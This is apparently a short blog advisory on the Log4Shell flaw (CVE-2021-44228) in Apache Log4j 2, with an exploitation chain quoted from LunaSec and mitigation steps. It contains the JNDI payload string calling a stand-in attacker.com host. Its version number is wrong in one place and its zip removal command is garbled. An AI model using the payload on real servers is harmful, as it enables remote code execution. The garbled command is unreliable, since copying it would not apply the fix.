Apache Log4j Zero-Day Exploit

A critical vulnerability has been discovered in Apache Log4j 2, an open-source Java package used to enable logging in many popular applications.

AS i write before , Log4j 2 is a popular Java logging framework developed by the Apache Software Foundation . The vulnerability, CVE-2021-44228 (CVSS severity level 10 out of 10), allows for remote code execution  against users with certain standard configurations in prior versions of Log4j 2. As of Log4j 2.0.15 (released on Dec. 6), the vulnerable configurations have been disabled by default.  the Apache Foundation recommends all developers to update the library to version 2.15.0.

Log4j is used as a logging package in a variety of different popular software by a number of manufacturers, including Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and video games such as Minecraft.

LunaSec (https://www.lunasec.io/docs/blog/log4j-zero-day/) offers a step-by-step breakdown of how Log4Shell can be exploited on vulnerable servers:

1. Data from the User gets sent to the server (via any protocol),
2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
3. The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

How to Mitigate CVE-2021-44228

To mitigate the following options are available (see the advisory from Apache here):

1. Upgrade to Log4j v2.15.0

2. If you are using Log4j v2.10 or above, and cannot upgrade, then set the property:

log4j2.formatMsgNoLookups=true

Additionally, an environment variable can be set for these same affected versions:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. To protect earlier releases of Log4j (from 2.0-beta9 to 2.10.0), the library developers recommend removing the JndiLookup class from the classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup .class.

SHMUEL H.